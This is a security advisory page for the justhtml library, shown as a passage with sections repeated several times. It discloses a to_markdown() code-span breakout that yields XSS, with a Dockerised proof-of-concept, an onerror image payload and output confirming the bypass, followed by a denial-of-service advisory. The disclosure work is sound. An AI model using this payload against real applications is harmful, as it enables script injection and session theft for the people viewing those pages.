A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

justhtml: to_markdown() code-span blank-line breakout enables XSS

Summary

In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).

Details

to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."

The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:

src/justhtml/node.py:32-41 (tag v1.21.0):

def _markdown_code_span(s: str | None) -> str:
    if s is None:
        s = ""
    # Use a backtick fence longer than any run of backticks inside.
    fence = _markdown_backtick_fence(s, minimum=1)
    # CommonMark requires a space if the content starts/ends with backticks.
    needs_space = s.startswith("`") or s.endswith("`")
    if needs_space:
        return f"{fence} {s} {fence}"
    return f"{fence}{s}{fence}"

The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:

src/justhtml/node.py:1061-1078 (tag v1.21.0):

            if tag == "pre":
                code = current.to_text(separator="", strip=False)
                if current_in_link:
                    current_builder.raw(_markdown_code_span(code))      # inline path
                else:
                    fence = _markdown_backtick_fence(code, minimum=3)   # block path
                    ...
            if tag == "code" and not current_preserve:
                current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))

A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.

Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.

Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:

• Plain text-node content is HTML-escaped before Markdown escaping, so the same <img …> outside a code span is neutralized to <img …>. Inside a code span it is not escaped — the fence is assumed sufficient.
• <pre> outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same <pre> inside a link (line 1064) and all <code> use the inline span, which a blank line breaks.

PoC

Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.

Dockerfile:

FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
 && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt

MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark")  # raw-HTML passthrough is the CommonMark default


def build_inputs() -> tuple[str, str]:
    enc = PAYLOAD_TEXT.replace("<", "&lt;").replace(">", "&gt;")
    control = f"<code>q{enc}</code>"          # no blank line -> should stay inert
    exploit = f"<code>q\n\n{enc}</code>"      # + one blank line -> the whole exploit
    return control, exploit


def to_markdown(html: str) -> str:
    return JustHTML(html, fragment=True).to_markdown()  # public API, default sanitize=True


class _SinkFinder(HTMLParser):
    def __init__(self) -> None:
        super().__init__(); self.sinks: list[tuple[str, str, str]] = []
    def handle_starttag(self, tag, attrs):
        for name, val in attrs:
            if name.startswith("on") and val and MARKER in val:
                self.sinks.append((tag, name, val))


def live_sinks(html: str):
    f = _SinkFinder(); f.feed(html); return f.sinks


def show(label: str, html: str):
    md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
    print(f"== {label} ==")
    print(f"  1. input HTML        : {html!r}")
    print(f"  2. to_markdown() out : {md!r}")
    print(f"  3. CommonMark render : {rendered.strip()!r}")
    print(f"  4. live JS sinks     : {sinks if sinks else 'NONE (inert)'}\n")
    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

